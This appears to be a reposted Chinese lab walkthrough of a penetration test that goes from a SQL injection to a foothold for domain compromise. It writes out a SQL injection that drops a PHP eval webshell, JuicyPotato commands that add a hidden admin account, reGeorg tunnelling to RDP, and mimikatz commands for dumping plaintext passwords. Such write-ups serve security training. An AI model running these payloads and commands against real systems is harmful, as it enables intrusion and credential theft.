记一次由sql注入到拿下域控的渗透测试实战演练(上)
Posted FreeBuf
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次由sql注入到拿下域控的渗透测试实战演练(上)相关的知识,希望对你有一定的参考价值。
本次渗透总流程:
1.从一个web页面发现SQL注入并可以通过注入getshell
2.通过对webshell的提权成功拿下服务器管理员权限
3.通过内网穿透成功连接目标服务器的3389远程桌面服务
4.通过在目标服务器上安装并使用nmap完成信息收集,为接下来横向移动以及拿下域控提供基础
5.通过mimikatz抓取本机管理员明文密码,为下一步域渗透提供条件
本次渗透靶场网络拓扑图:
工具:
蚁剑,烂土豆提权补丁,reGeorge,nmap,mimikatz,Proxifier汉化版
开始渗透
发现页面上存在?id=1的传参,于是输入and 1=2 进行测试,发现页面报错并爆出了绝对路径,接下来尝试使用outfile函数进行getshell
语句如下:
?id=1 and 1=2 union select 1,'<?php eval($_REQUEST[1]);?>' into outfile 'C:/phpStudy/WWW/a.php'
尝试连接
发现shell已经上传成功,接下来用蚁剑连接(有一个之前上传过的烂土豆请忽略……)
接下来用蚁剑的终端进行服务器端口信息收集并尝试给服务器添加用户,但失败(原因很简单,webshell权限不够嘛)
所以接下来要进行webshell的提权,提权一般会有两个思路:
1.依靠系统组件提权(例如:mysql权限高而phpstudy权限低,那么我们就想办法让MySQL替我们去执行一些需要高权限的命令)
2.依靠系统漏洞提权(实战中更加常用)
由于并没有发现目标服务器上有什么高权限的组件可以入侵,所以我们采取第二种方法提权,首先我们采用systeminfo命令查看系统已下载补丁
然后从这个在线辅助提权的网站上> (https://bugs.hacking8.com/tiquan/)
搜索可用提权补丁,这里我们采用图上的hotpotato进行提权,因为它适用的系统多,提权更可能成功
利用蚁剑上传烂土豆:
烂土豆使用方法:(笔者的这个烂土豆是魔改后的,使用比较简单,若想要原版可以从这里下载https://github.com/ohpe/juicy-potato/releases)
Juicypotato.exe -p“命令”
笔者这里将烂土豆改名为hx.exe是为了执行命令更方便(其实就是偷懒哈哈~)
使用hx.exe -p "whoami"
查看当前权限,发现已经是system权限了
使用hx.exe -p "net user haixian abc123456.! /add"
进行本地用户的添加
但注意,此时的账号haixian并不是管理员,我们要对其进行进一步的提权才可以使其权限变为管理员
使用hx.exe -p "net localgroup administrators haixian /add"
来将我们的用户haixian加入到本地管理员用户组
至此,我们已经成功地向目标服务器添加了一个名为haixian的管理员用户,接下来就是想办法通过这个用户,使用远程桌面连接目标服务器
首先我们尝试直接使用mstsc.exe去连接靶机,但是以失败告终,猜测有以下几种可能:
靶机并没有将3306端口像80端口一样映射到公网上,路由器里并没有记录,所以我们无法直接通过公网访问到靶机的3306端口
靶机无法连接公网
这里如果是第二种情况那么就不太好办了,但我们可以猜测是第一种情况并按第一种情况来处理,如果最后连接成功,那么就证实了我们的猜想
我们要明确为什么我们的远程桌面无法直接连接,根源在于我们的电脑无法直接访问靶机的3306端口,所以我们要从我们唯一可以访问到的80端口所开放的web服务来找突破口,这里就涉及到了一个新的工具:
下载下来以后是这样的一些文件:
我们需要根据网站所对应的脚本语言来上传对应的信道文件,比如说这里靶机所使用的是PHP,我们就上传tunnel.nosocket.php到靶机:
通过蚁剑上传信道文件并访问:
出现如图所示的回显说明我们的“信号塔”部署完毕,那么这个信号塔具体有什么用呢?
前面提到过,我们只能访问靶机的80端口,那么我们要做到的就是通过一层信号转发使我们能够通过访问80端口而访问到靶机3306端口
所以这个信号塔的作用其实就是信号转发,我们需要把原本要发送给靶机上其他我们访问不到的文件的数据包发送给信号塔,然后信号塔会根据我们的要求把接收到的信号转发给对应的服务模块
简单来说,就是我们要访问靶机上的远程桌面模块,但没法直接访问,就先把我们的请求发送给信号塔,然后有信号塔发起对远程桌面的访问
这样问题不就迎刃而解了吗?
接下来我们在本地运行reGeorgSocksProxy.py来与信号塔配合(一个发包一个接包)
出现如图的语句证明脚本运行正常
使用Proxifier设置代理,这一步的目的就是限制只有本机mstsc.exe所发送的请求才会被转发到信号塔接受,如果所有web请求全都发去的话,那么恐怕下一秒就断网了。。。
设置代理规则如图:
设置好之后就可以重新进行远程桌面连接了:
利用我们已经添加好的管理员用户haixian进行登录并尝试在靶机上下载nmap为下一步的横向移动做基础信息收集
下载成功后简单的扫描一下C段,结果如图:
经过初步探测,内网中有10.0.1.1,10.0.1.3,10.0.1.4,10.0.1.6,10.0.1.8四台主机存活且后两台主机均开放了3389端口,为远程桌面连接提供了可能
然后我们再通过mimikatz(迷hotel)抓取管理员密码,mimikatz常见命令如下:
mimikatz # cls –>清屏,类似dos命令cls.
mimikatz # exit –>退出mimikatz.
mimikatz #version –>查看当前的mimikatz的版本.
mimikatz #log ——>开启日志
mimikatz #privilege::debug ——>提权
mimikatz #sekurlsa::logonpasswords ——>抓取本机用户密码
其实mimikatz这款神器的功能十分强大,这里只是介绍了冰山一角,有兴趣的读者可以自行了解,网站上教程很多~
通过蚁剑上传mimikatz,要注意区分系统(32位和64位)来上传不同版本,不同版本的mimikatz使用稍有不同
抓取本机密码如图:
获取了本地管理员的明文密码,通过这个密码我们就可以进行下一步攻击,比如说在同一个内网内,管理员可能是同一个人,也就是说刚刚用nmap所扫出来的四台机器有可能存在相同的管理员账号和密码
经过尝试,发现同样的账号密码可以登录10.0.1.8这台机器,并通过systeminfo查看可知此机器在域内,所以下一步就可以以10.0.1.8为起点进行下一阶段的域渗透了
具体域渗透操作如何,且听下回分解~
精彩推荐
以上是关于记一次由sql注入到拿下域控的渗透测试实战演练(上)的主要内容,如果未能解决你的问题,请参考以下文章